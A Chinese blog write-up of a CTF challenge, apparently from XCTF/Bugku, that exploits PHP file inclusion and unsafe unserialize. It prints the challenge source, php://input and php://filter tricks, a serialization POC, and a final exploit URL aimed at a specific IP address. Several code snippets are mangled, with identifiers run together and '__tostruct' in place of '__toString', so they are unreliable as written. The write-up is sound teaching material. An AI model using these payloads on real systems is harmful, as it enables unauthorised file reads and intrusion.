xctf php序列化,xctf一道反序列化题

右键get源码:

1 <?php2 $user = $_GET["txt"];3 $file = $_GET["file"];4 $pass = $_GET["password"];5

6 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){7 echo "hello admin!
";8 include($file); //hint.php

9 }else{10 echo "you are not admin ! ";11 }

刚开始我是远程在我服务器上写一个txt内容为"welcome to the bugkuctf"但是测试了好像是不行。既然不行又可写入数据的那就联想到了php伪协议当中的php://input

ca590e9a14076c90c859ec7565178d5e.png

再回去看最开始的代码。如下第十行

a9f6086bde526d280fccc6e1549efce1.png

是一个包含函数,也可以使用伪协议那就使用filter去读取当中文件吧。那就读取hint.php试试

da1073ac46a000a111c1e0a735e171a2.png

BASE64解密得到如下代码:

1 <?php2

3 class Flag{//flag.php

4 public $file;5 public function__tostring(){6 if(isset($this->file)){7 echo file_get_contents($this->file);8 echo "
";9 return ("good");10 }11 }12 }13 ?>

很明显是一个反序列化读取的漏洞。但是好像没有可控的参数。但是有提示一个flag.php

然后直接构造去读取flag.php

3a1efa9bde449ab5877d411cb44694dd.png

然后继续尝试读取index.php

index.php代码如下:

1 <?php2 $txt = $_GET["txt"];3 $file = $_GET["file"];4 $password = $_GET["password"];5

6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){7 echo "hello friend!
";8 if(preg_match("/flag/",$file)){9 echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";10 exit();11 }else{12 include($file);13 $password = unserialize($password);14 echo $password;15 }16 }else{17 echo "you are not the number of bugku ! ";18 }19

20 ?>

21

22

由上代码可知:

file参数当中不允许出现flag

12-13行代码中可以看出。password可控.

整体思路就有了,那就是通过这个反序列化漏洞去读取flag.php

于是乎构造这个反序列化漏洞的POC如下:

1 <?php2 classFlag{3 public $file="php://filter/convert.base64-encode/resource=flag.php";4 public function__tostruct(){5 if(isset($this->file)){6 echo file_get_contents($this->file);7 }8 }9 }10 $o = newFlag();11 echo serialize($o);

第三行的时候我直接填写flag.php。又在此处被坑。

原因如下:

在刚才index.php代码中说file参数不能有flag,最后尝试才知道要读取flag。file还不能使用伪协议。既然不能用就没办法读取flag.php了,所以这个反序列化就要跟上伪协议,才能读取出flag.php

file参数不能为flag.php那就去尝试,最后尝试得出file参数为hint.php加上password参数的payload就可以getflag

447f272601a7b4195a4562ed82b50e30.png

依旧是base64加密的解密一下就好了。

最后还是把payload发出来吧。

http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值